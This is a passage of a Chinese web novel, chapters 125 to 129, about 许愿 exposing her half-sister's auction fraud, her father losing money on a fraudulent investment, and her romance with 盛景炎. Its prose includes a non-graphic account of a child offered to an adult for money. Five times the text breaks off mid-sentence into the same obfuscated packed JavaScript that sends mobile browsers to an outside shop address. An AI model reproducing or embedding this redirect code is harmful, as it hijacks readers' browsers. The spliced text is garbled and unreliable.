盛景炎不把他当孩子看待,他将他看作是能够独立思考有自己人格的成年男性。 他想他们是可以正常交流的。 苏逸冷眼看他,什么也不说,似乎是想知道盛景炎找自己到底有什么要紧事。 “其实有些事我是不好掺和进来的,我这种人自私惯了,任何有可能对我不利的事我都不会做。” “就像我现在不经过许愿同意,私自来找你这件事,她是一定会生气的。” 盛景炎睨着面前的少年,狭长的眼眸带着深意。 “我知道她会生气,但看到她为你伤心难过,我还是克制不住自己的情绪。” “苏逸,你那么聪明,为什么不想想许镇江都能看在许愿身体内有一半是她的血将她留在许家养大,为什么却独独要丢下你?” “许镇江这人作恶太多,他满脑子裹小脚的封建思想,希望能有个男丁继承家业。” “如果你是许镇江的血脉,许镇江怎么会留下许愿这个女婴,将你这个能够继承家族的男丁丢掉旁人抚养。” 这件事多好解释。 唯一的可能,就是苏逸根本不是许镇江的血脉。 许镇江这么恨他,只能说明在许镇江看来,是苏青莲背叛了她。 而苏逸,则是她背叛的证据。 他和许愿之间是有血缘的,既然这血缘与许镇江无关,那就只能是同母异父的亲人姐弟。 苏逸不知道这些,也没考虑过这些,此刻听到盛景炎说到这个才有些恍然。 见他愣神,盛景炎把玩着手中的玉戒,低声道:“你母亲出事那年,将你托付给阿愿照顾,你知道你母亲在她什么时候出事吗?” 盛景炎眼神冷淡:“苏女士,也就是你的母亲在她十岁时死在许家,死之前告诫才满十岁的许愿,让她照顾你抚养你长大。” “那么苏逸,我来问你,她一个肩不能扛手不能提还要被亲生父亲冷待的小女孩,要怎么养大一个出生不久根本没有满月的婴孩。” “你以为许镇江是什么菩萨心肠的好人吗?你以为他能发善心养大你?” “将你留在许家,被许镇江当作眼中钉肉中刺,逐渐磋磨至死吗?” “她想为你寻一条好出路,她不想你在许家出事,更不想你烂在许家。她要把你推出去,让你过上正常普通的生活。” “所有的一切都是在为你考虑的,你觉得是她做错了吗?” 许愿做错了吗? 一个十岁的女童,自己都生活在水深火热中,却妄想给他找寻安稳的生活。 她是怎么让许镇江松口放过他的?是如何求的? 十岁的女童又怎么可能做到面面俱到,她怎么玩得过虚伪卑劣的许镇江,她又怎么能知道许镇江想将苏逸踩到泥潭里? 苏逸一时眼神涣散,清俊的眉眼都轻微皱起。 “苏逸,就算不提远的,你也该知道一个才满十岁的女孩是没有抚养婴儿能力的。你跟她只能算是同母异父的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618078|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐弟,那时你母亲已经跟许镇江离婚,她根本没有理由管你。” “是苏女士去世前对她说了什么,她才会如此看重你,为了你卑躬屈膝。” “你以为许愿这些年为什么一直没有彻底离开许家?” “因为她的软肋,被许镇江拿捏了。” “你就是她唯一的软肋。” “她想要给你平静的生活,所以不会去打扰你,只远远的看到你成绩优越、生活得很好。她希望的是你们彼此之间生活不会交叉,她希望你逃离黑暗生活在阳光下,而不是像她一样被许家束缚利用背叛。” “她是为了守住你平静的生活,才一直留在许家,否则以她的性子,早在成年当天就跟许家彻底断绝关系。” 盛景炎是真的很懂许愿。 因为如果他是许愿,母亲去世前留下的遗愿不论发生什么 事,他都会拼尽全力去完成。 哪怕这件事可能束缚了自己的手脚,他都会遵守最后的承诺。 要给苏逸平静的生活,不能让许家人毁掉一切。 为了这个承诺,她被许家人侮辱了多少次? 盛景炎已经无法深想。 “可后来,她从来没有查过我身边的任何事。”少年清润的声音带着点哑。 “苏逸,她不欠你的。” “她帮你是她善良,是她有情有义,是她重情终诺。但除此之外,她还有属于自己的人生。” “你被设计陷害遭遇不幸时,你以为她就过得很好吗?” 盛景炎走近他,声音中都透着冷意。 “生在许家,没有任何助力,爬到这个位置是她自己几乎耗空身体熬出来的。” 盛景炎当然是向着许愿的。 他清楚许愿在纠结什么,她将苏逸遭遇的一切全都推到她自己身上。 可她生来不是为了苏逸而活,她做得已经够多了。 “苏逸,你可以不理解她,但请不要继续伤害她。” 他会心疼。 苏逸停顿片刻:“我知道了。” 这是属于男人之间的对话,盛景炎想苏逸应该能懂。 第125章 这是欺诈 许愿第二天醒来时,天已经大亮。 她已经有些记不清昨晚发生的事了,脑袋浑浑噩噩的,洗了个澡才冷静下来。 昨晚发生的事,像是电影播放器在脑海中倒带播放一般。 苏青莲被拍走的旗袍,苏逸被逼替考,以及还被扣押在别墅地下室的苏家父子。 许愿轻轻的揉捏了下眉心,就接到了薛酒的电话。 “阿愿,苏阿姨的那件旗袍已经被我们调包了,正品在我们博雅,许宁拍走的是赝品。” 这是个好消息。 “你们什么时候换了东西?” 许愿觉得头痛:“博雅是我们的产业,私自更换拍品算是违背了业内准则。” “阿愿,你要懂变通。” “我只是说被我们调包了,没有说过是在博雅调包的,这毕竟是苏阿姨留下的东西,你以前拿走旗袍也不是不可能。” “至于许宁,她根本就没记住苏阿姨设计的旗袍是什么样子的,完全不清楚那是赝品还敢带到博雅来拍卖,按照常理来推论,我们是可以追究许宁责任的。” 薛酒将昨晚的一些事反馈给许愿。 许愿明白了他的意思。 “这件事,我会处理好的。” 这也算是个好消息了。 下楼时,她看到盛景炎和姜瑜在商量工作相关的事。 看到许愿下楼,姜瑜很有眼色的离开。 “这个时间还没回云尚?” 许愿看到桌上还热腾腾的早餐,只是瞥了眼开口问了句。 “你还没有醒,我能走去哪里?” 盛景炎眉眼温柔,脸上都带着笑。 他对上许愿时面上总是含笑的,像是有了极大的耐心。 “等我吃过早餐,我陪你一起去云。” 许愿主动开口提起,盛景炎眉梢微挑抖沾带着点喜色。 许愿的别墅距离云尚其实不算多近,等到了云尚,已经临近晌午。 许愿特意在华庭叫了份鸡汤和其他目前盛景炎能吃的东西外送到华庭。 许愿不过下楼拿外卖的时间,再回来时,就见到了个意想不到的身影。 是许宁。 只见许宁坐在病床边,笑吟吟的对着盛景炎说着什么。 “盛总还真是不小心,还没等我回到傅氏重新成为傅总的秘书,盛总就已经重伤住院了,还真是世事无常呢。” 许宁幽幽叹息着。 “世事无常?”盛景炎玩味地咀嚼着这四个字,似笑非笑地说道,“你恐怕还没领教世事的无常,有些话未免说得太早了。” “我看是盛总不清楚什么叫做世事无常。” “盛总这么护着许愿,可盛总知道许愿为了苏逸做了多少事吗?你真的能接受自己未来娶回家的夫人像个扶弟魔一般,一直帮扶着苏逸吗?” “我想,以盛总的能力,应该已经查到苏逸是谁了。”许宁眯眼而笑,话里藏着深深的恶意。 她就是在嘲讽许愿,此刻将许愿和苏逸捆绑到一起。 昨晚派出去教训许愿和苏逸的人都没有回来,她也担心出什么意外,今天特意赶过来挑拨离间。 她可不相信盛景炎和许愿之间,能够有多少真情实感。 许愿站在门口,敲了敲敞开的门。 “许愿,你来啦。”许宁站起身,用遗憾的口吻说道,“我今天特地带了苏阿姨做的旗袍来还给你呢。我也不清楚苏阿姨的旗袍为什么会出现在博雅的拍卖会现场,好在傅先生拍下了旗袍送给我,现在也该物归原主,所以你也不必担心阿姨的旗袍会被奇怪的人抢走了。” 她转了话题笑吟吟的看着许愿,半点不见方才挑拨离间的样子,将盛装了旗袍的袋子递到许愿面前。 “是担心还是幸灾乐祸?” 许愿把鸡汤放在床头柜上,直言不讳地问。 “你觉得呢?” 许宁包容地笑了笑,她笑得温温柔柔的,却带着明显的攻击性。 她今天来这里,想做的事真是太多了。 她想让盛景炎厌了许愿,等盛景炎因为苏逸的事情跟许愿分开,那即将失去盛景炎的庇护许愿,算个什么呢? 没错,许宁就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618079|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来看笑话的,这一点不必隐瞒。 更何况,她现在已经重新回到傅氏。 哪怕傅京礼没有给她多少实权,但是身份地位摆在这里,不是许愿能比的。 “我只是来看看,没有恶意,不过看你好像并不欢迎我的样子。” 许宁脸上的笑意毫不遮掩,仿佛明晃晃的告诉许愿,她是来看戏看乐子的。 昨晚闹出多少好戏呢? 苏青莲的旗袍被傅京礼拍下送给她,苏逸被逼替考,许愿和苏逸姐弟险些被侵犯。 她就是知道这些,才特地在这个时间赶过来看乐子。 她嘴上说着没有恶意,做的却是最恶心人的事。 许愿面色一冷,盛景炎握住她的手,笑着摇摇头:“不要生气。” “我有什么可生气的,我只是在看小丑。”许愿眸光淡漠闪过几分寒芒。 “许宁,我还没有去找你,你却已经找上了我,真是又蠢又坏。” 许愿夺走许宁带来的旗袍,随意的甩到桌案上。 “这件旗袍不是苏青莲的作品,你贴上苏青莲的标签,借着我母亲的风在这场拍卖会上拍出天价,这属于欺诈犯罪行为你知道吗?” 一句话,给许宁弄蒙了。 许愿不给她缓过来的时间,继续追击。 “苏逸替考这件事,苏正坤和苏浩天哪里来的胆子敢做这种事?若非是有许镇江暗示会庇护他们,他们怎么敢打高考的主意,笼络圈子里那么多人明码标价要贩卖苏逸的成绩,将高考当做儿戏。” “许宁,这件事是一定会被爆出的,你最好祈祷许镇江真的干干净净,没有对高考成绩动过手。否则,你不会想知道具体后果。” “至于昨晚,我和苏逸险些被侵犯这件事,那两个男人已经被我们抓住了并报警了。你可以再次祈祷,祈祷这两个人拿了钱后能守口如瓶,不要把真凶爆出来,否则数罪并罚……我不知道你要被判个多少年了。” 许愿每一句话,都像是往许宁心窝上戳。 许宁哪里见过这阵仗,整个人呆呆傻傻的,无法消化许愿带来的信息。 第126章 投资被骗 怎么就变成这样了? 她来云尚不是嘲笑许愿的吗? 为什么现在被嘲笑的人变成她了? 许宁什么都想不透,不知道从哪一个开始反驳,脑子乱嗡嗡的。 甚至开始怪罪自己都没想清楚,就敢冲过来对上许愿。 真是疯了。 见许宁如此烦躁的模样,也让盛景炎愉悦地低笑起来。 “许小姐,你说得对,的确是世事无常,只是许小姐知道莱蒂斯的那份诈骗合同的消息今天会被爆出吗?倒是不清楚您的父亲有没有投资,如果您的父亲投资了莱蒂斯的合同……” 盛景炎不说更多,喉间溢出明显的笑意,明显的嘲讽。 在这一瞬间,许宁竟然不知道应该摆出什么表情。 失望,难堪,愤怒,不甘…… 遇见许愿,她总是被这些情绪缠绕着。 她强撑起笑脸,却发现自己根本笑不出来。 她的整颗心都像是交织在一起。 她记得自己提醒过许镇江了,许镇江不会继续蠢到投资了莱蒂斯的项目吧,她都已经知道这是诈骗合同了,许镇江……能看出来吧? 不行,她还是心里发慌,她要问清楚。 比起许愿说的其他事,盛景炎提到的跟金钱相关的,更是卡到了许宁命门。 见她手忙脚乱的,盛景炎适时的又补充了一句。 “许先生特地问过我是不是诈骗合同呢,我告诉他,不信的话可以投一笔试试看,投一赚十,也不知道许先生听没听进去了。” 许宁身体整个僵住了,她惶恐的看向盛景炎。 盛景炎提醒道:“莱蒂斯这次的合作已经被国外叫停。现在网络上应该有消息了,你看看吧。” 许宁浑身一僵,然后便急急忙忙掏出手机。 打开网页的时候,许宁的指尖都在颤抖。 而国内数家公司被莱蒂斯坑骗了大量数额的新闻,早已经登上了热搜。 许镇江赫然在列,甚至被骗金额高达上亿! 许家赔偿过许愿一笔钱后,哪里还有那么多流动资金,这笔钱哪里来的! 许镇江是不是变卖家产或者其他东西了……他是不是疯了! 由于触犯了当地几项保护法,该项目被叫停。 但是因为这个国家政权混乱,法律不算完善,按照合同的规定,去当地发起诉讼可能当地也不会理会。 莱蒂斯提出的合作计划,确然已经打了水漂。 由于许宁之前为了整治许愿,特意放出有关莱蒂斯合作案的消息,一群网友都官网吃瓜。 许宁在网上不断引导舆论塑造自己怀才不遇的形象,也因此,这条新闻甫一刊登出来,网上就全都是嘲讽许宁的声音。 可不就是许宁有病吗? 许愿才是傅氏原来的秘书,后转到项目组成为负责人,她负责过那么多合同案子,大大小小的谈判案都参与过,盛景炎更是盛家现今的继承人,他们都提出这次的合同有陷阱,只有许宁字字泣血诉说着自己的委屈不甘,像是真的遭受了天大的委屈。 实在是太可笑了。 【许宁是真的蠢啊,她做金融的看不懂对方埋下的陷阱,项目部经理和盛世的盛总都明说了这份合同有陷阱不能投资,她还要一副只有她懂的模样,在网上大肆宣扬这次的合同,导致那么多公司跟风投资砸了那么多钱进去!我算看出来了,她是真觉得合同没问题,不然她父亲也不会砸了一个亿进去,一家子全是蠢货。】 【我爸也是个蠢货,他整天想着天上掉馅饼,信了许宁的话,把家里面房子都贷款出去了!现在这笔钱拿不回来!许宁你欠我们的怎么还!】 【我天,怎么会有人真的听许宁的啊!这位许秘书可不是傅总以前那位谈过百亿合同的许秘书,这位许宁秘书以前是学艺术的,艺术系的懂什么金融?】 是啊,学艺术的懂什么金融呢。 许宁在网络上遭受攻击,数家小型企业均被莱蒂斯坑骗,总数额近十亿元,已经登上法制频道。 许宁多想把这锅甩给许愿啊,可是许愿早早的就放话说明这次的合同是陷阱,只是那些人都被那巨大的后期利润蒙蔽双眼盲目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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路上,许宁给许镇江打去一个电话。 “爸,我听你投资了莱蒂斯是不是?你投资了多少?这笔钱你真的给出去了吗!” 坐在许家大厅无意中看到网络新闻,得知项目已经黄了的许镇江,此刻正频频擦拭额头的冷汗。 他知道,自己这次是真的完了! 第127章 他们是一条船上的人 许镇江频频将手放到心脏处,只觉眼前一黑。 之前为了让许愿不惹事他给许愿打了一笔钱,许家的流动资金本就不算多,多的仅仅是苏青莲嫁给他时带来的那些地产房产。 这些年,许氏在他手里处于落败状态,有的时候还需要卖些产业才能运营公司。 手头的房产本就不算多,这次为了能赚一笔大的,又低价卖了两处房产,他还等着这次投资带他飞升,甚至做着能狂澜十几二十亿的美梦 。 可这笔钱才刚打过去,合同都没摸热乎,就让他知道是骗局。 许镇江的沉默,让许宁此刻脑子嗡嗡作响。 沉默就是回应。 他那笔钱投出去了! “你疯了吗!你要投资莱蒂斯的合同你跟我商量过了吗!那可是一个亿!” 许镇江着急心慌端起咖啡,顾不上滚烫的温度,狼狈不堪地喝了一口。 听到许宁的斥责声,他急得额头直冒冷汗,口不择言道:“那不是你说的这次是莱蒂斯来造福大众的吗!你口口声声说这份合同一定能赚!你现在在傅氏工作,金融方面的消息你难道没听到吗!你说他能赚我难道还会质疑你吗!” “我哪里知道你都已经成了傅京礼的秘书,还是这么没用!” “果然金融方面的,就是不能信你说的!” “许愿都劝过了!盛景炎也提了,为什么你就是执迷不悟一意孤行的把这份合同放出来,闹得人尽皆知!现在所有人都觉得赔了钱,是你的错!” 以往许镇江凭着许愿的身份在圈子里,谁不捧着他哄着他? 大家都知道许愿是傅京礼的秘书,就算是上流圈层的人都要给许愿几分薄面,许镇江作为许愿的父亲更是吃了不少红利。 他是蠢是笨抛弃一个能给自己带来巨大利益的女儿,偏偏选了许宁这么个废物,不仅害他亏钱还要害他挨骂! 他也是没想到许愿的判断竟然是正确的,许宁在网上闹得那么凶,掀起如此巨大的舆论,到头来却只是把他们父女塑造成了小丑! 过了今天,什么怀才不遇的商业千金,什么逆境反转打脸,全都成了笑话! 许镇江吐出一口气,感慨万千地说道:“我真应该听许愿的话,我就该选择许愿。” 许宁握紧手机,只觉得可笑。 许镇江这个蠢东西,竟然还想回去巴结许愿呢? 上了她这条贼船,就别想再靠近许愿。 “许愿已经知道跟苏逸有关的事了。” 许宁靠在车座上“咯咯”的笑着:“他知道你背着她对苏逸做了些什么,苏家父子都在许愿手里,她等着揭穿你虚伪的面孔然后送你进去呢。” “你想巴结许愿,也要看许愿肯不肯受了。” “想让苏逸背上高考替考的污名毁他一辈子,苏逸可是被许愿最看重的血亲,你要害苏逸,她怎么能忍呢?” “你猜猜许愿会对你做些什么?” 许镇江顿觉浑身发寒毛骨悚然。 “你现在离了我你只会被打击报复,爸,你要清楚。” 许宁嗤笑:“如今我们才是一条船上的人,许愿不会帮你,如今能帮你的只有我。” “她有盛景炎,我有傅京礼。” “纵然我做错再多事,只要傅京礼肯护着我,那我就能平安无忧,这是傅京礼给我的自信。” 只要她确信自己就是当年的人,傅京礼就会无所顾忌的对她好。 她坚信这一点。 许镇江沉默了。 哪怕没脑子也该清楚许愿说的话几分真几分假。 对,自从他选择了许宁,他就已经算是许宁这边的人,许愿又怎么可能接受他突然而来的好意。 更不要提……苏逸那件事就是许愿最大的雷点。 苏家父子可都还在许愿手上,这件事谁能帮他?在a市他能接触到的除了傅京礼还有谁? 许镇江终于还是忍不住的憋出声笑意来。 “宁宁,你也知道,爸爸刚才不是冲你发脾气,爸就是担心这件事闹得太大我们扛不住。” 是不是这么个原因许宁心里清楚,她嗤笑道:“爸,恭喜你做了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618081|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个还算正确的决定,没有在这种时候选择许愿,否则,你才是真的要完蛋。” 许宁挂断电话将手机丢到一旁,靠在车座上脑内一团乱麻。 她对许镇江说得这么狠,但她自己心里也没底。 闹出这么大的事情,傅京礼怕是也不能轻易摆平,最重要的是那一个亿。 许镇江这个废物,平日里找他要点钱总是念叨着没钱了,现在却能变卖家产去投资骗子产业! 她强逼着自己平静下来。 她要缓一缓,她要斟酌用词去见傅京礼,这件事只能是傅京礼来帮她。 …… 开着车的许愿,抽空瞥了盛景炎一眼。 这人到医院换了药就黏黏糊糊的要回盛世,才动完手术几天?江惊蛰都骂他是疯子,偏这人劝也劝不住,说不定还会偷溜出医院,还不如现在应了,让他选个医生护士跟着,也好过后期再出点什么事。 “你是真能闹。” 许愿忍不住吐槽他 。 “也没闹。” 盛景炎为自己解释。 “我就提了几句江惊蛰就同意了,这哪里算闹。” “还不是因为你有前科,说什么昨晚是江惊蛰放你出去的,分明就是你自己偷溜出去的,反正都看不住你,又不能看管犯人一样真的把你关起来,还不如让你自由行动。” 坐在副驾驶座的盛景炎听她缓缓靠近,在她耳边戏谑地说道:“我也是为了见你。” 话落,他低声笑了笑,磁性的嗓音震颤着许愿的耳膜,让许愿不由自主红了脸颊。 许愿瞪了盛景炎一眼,一秒钟后自己却也绷不住笑起来。 许愿笑过后侧了侧身子,避开越靠越近的盛景炎。 “你坐好,不然我会被扣分的。”许愿看着前方的路况,语气平静地说道。 “我们没有违反交规,为什么会被扣分?”盛景炎慵懒地靠着椅背,身子依旧偏向许愿。 “你再靠近一点,我总觉得你会克制不住的吻我。开车的时候接吻肯定违反交规。” 第128章 多亲几下 “为了我们的生命安全,也为了别人的生命安全,请你老实坐好。”许愿看着前方,严肃认真地下令。 盛景炎愣住了。 许愿侧眸看他,挑了下眉。 愣住的盛景炎反应过来自己被许愿一本正经的撩拨了。 他颇觉有趣地摇头,唇角的笑意止都止不住。 “阿愿,先找个地方停车我现在就想吻你。”盛景炎的嗓音又沙哑又愉悦,一边说着话,一边扯动领口露出性感的锁骨,故意勾着她。 许愿:“……” 许愿不由扶额:“你认真的?”她只是在开玩笑。 盛景炎瞥她一眼,勾着薄唇轻笑:“前面就有一个地下停车场,三分钟之内可以到,停在那里吧。” 他还挺遵守交通法规,知道不能在路边乱来,还记得附近有个停车场呢。 盛景炎半掩着笑意深浓的脸:“你怕了?” 他心情愉悦。 正好红灯,车子停在路边,许愿看向他,声音轻缓:“不是怕,我只是在想你总这样撩拨也做不到最后……” 视线在他脐下三寸游移片刻,许愿哼笑一声:“以后会坏的吧。” 话落,车厢内瞬间静下来了。 盛景炎看着她,眉梢挑起,眼底的笑意都带着浓浓的兴味儿。 “看来你并不排斥跟我做更多的事,你放心,我算着时间,等他出生你养好身体后我会腾出时间带你去度假山庄好好陪你。” “陪你”二字压低了声音透着几分缠绵悱恻的意味儿,挑逗一般。 “……”许愿握着方向盘的手都不自觉的收紧。 许愿开口:“你是不是安排得太早了,你就不怕等到那时候我们之间已经分开了?” 话题突然就有些沉重了。 盛景炎脸上的笑意却丝毫不减。 “我对我自己有信心我会对你好到让你无暇顾及旁人。” 事实上盛景炎是这么说的也是这么做的。 许愿只是微抬眉梢,她相信盛景炎说到做到,她从不怀疑。 “所以还亲不亲?”盛景炎俯下身体,凑近了看她。 最近这阵子总是跟盛景炎黏在一起,许愿总有一种恍恍惚惚不真实的感觉。 她没谈过恋爱,但是追求者很多,念书的时候从不在意身边的人,也没有关注恋爱是如何谈的,她那时头埋进书本中,学各类科目做各项试验,参加比赛撰写代码,创业谈判,每一天二十四小时她恨不能睡觉时间只有四小时剩下的时间全都安排成学习和工作。 许愿没谈过恋爱,不知道如何恋爱,只暗恋过傅京礼,嫁给傅京礼后除了多了项夫妻活动也和单身时没有区别。 一样的工作,研究,谈判,合作。 直到现在被盛景炎缠上,他总给她一种想要二十四小时黏在她身边的错觉。 盛景炎这人性格古怪,说是喜怒无常其实并不为过。 他脸上总是带笑的,但不知道什么时候就会挖个坑使个坏让人无所适从,他脸上带笑但笑意不达眼底,对旁人说是温柔好说话,不如说他天生性子凉薄,对谁都毫不在意。 可在她这里,盛景炎变了个模样。 还是那副吊儿郎当的模样,却多了真情。 从最初的毫不在意只是带着情欲和欣赏的追求,到如今的有些在意和强烈的占有欲。 在她面前从不会强势的逼迫她做任何事,甚至是会随着她的性子顺着她的心意。 几个小时不联系就会发信息,路上看到躲雨的小猫会发给她,看到开得艳丽的花朵会发给她,甚至大雨后带着彩虹的天空也会拍下来分享。 他总是在加强她的存在感。 其实许愿知道,盛景炎是故意的,他在玩心机,他想用这样的套路让她习惯他的存在。 习惯或许现在不会是爱,但以后她会逐渐接受这些,渐渐转变成在意。 许愿看向身旁的男人,正对上男人笑吟吟的黑眸,他等着讨一个吻。 “盛景炎,你真的有点无赖。” 许愿捏了捏眉心,此刻已经绿灯了,许愿转动方向盘:“回到盛世再说。” 这算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618082|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答应了。 两人在一起的事盛世员工早就知道,见盛景炎带许愿回盛世,公司职员都多看了几眼,见两人进了电梯前台才凑到一起叽叽咕咕。 “不是说盛总出车祸了,怎么看着不像重伤的样子。” “这你不懂了吧,真爱的力量。” 一旁偷看霸总小说的前台悄咪咪回了句,还挺离谱的。 “他们现在都已经把你看作是女主人。”盛景炎提议:“你说我要不要给他们发点喜糖红鸡蛋意思意思?” 听到喜糖红鸡蛋,许愿看他的眼神都带着点无语。 “喜糖是订婚结婚时发的,红鸡蛋是孩子出生的时候送的,你觉得我们现在适合哪一种。” “迟早的事。” 盛景炎还挺自信。 盛景炎的办公室很大很空,以前盛父留下的东西都被他丢出去,偌大的办公室空旷的只有办公桌和空荡荡的书架,哦,还有会客的沙发茶几。 一眼就望到头,有些无趣。 “我这里还没有重新装修设计,你喜欢什么样的跟姜瑜说,按照你的喜好来装修就可以。” 许愿没拒绝也没接受,盛景炎直接将一份小册子递到她手边,是已经设计好的几张图稿,偏向盛华内部办公环境的设计,倒是真的顾及到她。 许愿认真翻看,最终挑了个看着偏温馨些的风格,盛景炎这就交代吩咐下去。 盛景炎也不办公,懒懒散散的倚靠在沙发上,姿态闲散的望着许愿,眸色饱含深意。 “阿愿,我们在路上可说好的。” 他在催着要亲吻。 “在路上是亲一下,现在是在我的办公室,那是不是需要多亲几下?” 她惯会得寸进尺顺杆儿爬。 许愿都被他这副平淡口吻惹笑了,她走过去,人在走近已经被男人勾住腰肢搂抱着带进怀中,下巴蹭了蹭她柔软的肩头,然后捏住她的下巴吻上来。 他的吻和他本人的性格有点贴。 柔和的带着点挑逗玩笑,但是却并没有让人觉得是在被玩弄的错觉。 第129章 他活得耀眼 和他接触,总让人觉得很舒服。 就像此刻。 办公室的门陡然被推开。 “盛总,董事会那边召开了一场紧急会议,他们说联系……咳,不好意思盛总您继续,我会让会议推迟进行的。” 姜瑜是盛景炎的助理,以往盛景炎不会带人回办公室,所以他惯性的都不会敲门经常因为一些急事直接推门。 这次倒是忘了许愿陪着盛景炎回了盛世。 这两人是恋人,他们盛总又是个禽兽东西,看着就是个会玩的浪子,孤男寡女还是恋人关系,在办公室能做什么? 以后一定要敲门才行。 姜瑜懊恼。 推开盛景炎时许愿的唇珠有些红肿。 她瞪了盛景炎一眼:“都怪你胡闹。” 是在生气,但她此刻被吻的眼睛莹润脸颊泛粉唇珠都是红肿的,看着倒像是带着点勾人意味儿的娇嗔,让人想压住再欺负一通。 “姜瑜不会乱说” “他是成年人,什么不懂。” “就是懂才会尴尬。”盛景炎把玩着许愿的手轻轻揉捏了下。 “好,我会记得告诉姜瑜,以后都会让她敲门。” 一小时后薛酒赶到盛世,手中是查到的厚厚一沓资料,还没来得及整理好,但他想许愿等不及所以知道许愿在盛世便匆匆赶来。 是苏家父子的资料以及近期苏家父子接触过的打算替考的那些资料。 许愿沉默的翻看资料,越是看到后面眉头就皱得越深。 苏正坤确实是人渣,吃喝嫖赌坏事做尽,甚至因着身后有许镇江诚邀没少骚扰在校的女学生。 苏逸幼年时期就曾让苏逸上过赌桌,苏逸迟迟不肯摸牌,好在苏正坤没什么耐心,见苏逸不感兴趣后也没再逼迫。 他去的娱乐场所苏正坤去全都带他光临过,甚至还有午夜场。 这些资料中有的还能查到模糊的录像带。 画面中的少年约莫才十岁模样,但眼底却是漠然的沧桑,像是看淡了一切。 苏正坤在舞池里跟异性跳着舞,手上也在胡乱摸着,他甚至抱起漠然的苏逸放到女人胸口。 女人朗笑着要去亲他,小孩儿下一秒就吐出来,女人厌恶的皱眉将他丢到地上。 他就坐在地上抱着自己的膝盖,也有喜欢幼童的男人笑呵呵的凑过来,跟苏正坤说了几句话,苏正坤眼睛都亮了,男人给了苏正坤一笔钱,抱起脏兮兮的苏逸,却被苏逸狼一样狠狠地咬在脖子上,几乎咬破男人的大动脉。 男人眼里都是怒火将他摔到地上,动作太剧烈,桌上的酒杯都被摔裂,他幼嫩的额角开始不停地流血。 他挣扎的从地上爬起来,朝着出口的方向爬。 那时的苏逸才多大…… 有十岁吗。 许愿心口发疼,眼睛都是酸的。 那时她为什么没有去关注苏逸呢?为什么只是在学校远远看了一眼就相信他真的过得很好呢? 少年到十二岁已经很高了,他相貌优越个子高挑,是很多人的暗恋对象,却也是很多喜欢玩弄漂亮男童的目标,苏正坤为了钱什么都肯做,他肯定不会护着苏逸,也确实没有护着苏逸。 他甚至想让当时品学兼优的苏逸辍学成为卖笑的牛郎。 是苏逸跟苏正坤进行了一场谈判,他跟苏正坤动了刀。 那一刀险些划破苏正坤脖颈的大动脉,鲜血不停喷涌而出,苏正坤整个人都吓傻了,他完全相信苏逸这样的狼崽子,若是他真的敢让苏逸辍学陪睡,苏逸就敢在他晚上闭眼睡觉的时候要了他这条命。 他慌了怕了,才终于停止了更多龌龊的想法。 可他除了有这些龌龊心思,他还是个十足的赌徒,欠下巨款。 一直对苏逸冷眼以待的养母也为了逃离这样的家庭净身出户,苏逸没有倚仗,他被逼得只能在这个年岁做了假证去夜场工作。 他厌恶这个地方,却不得不来这种地方讨生活。 他有多恨,也只有他自己知晓。 他挣来的钱都去了什么地方?被苏正坤骗走了。 他总会跪在地上抱着他的腿哭求再救他一次,再救他一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618083|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 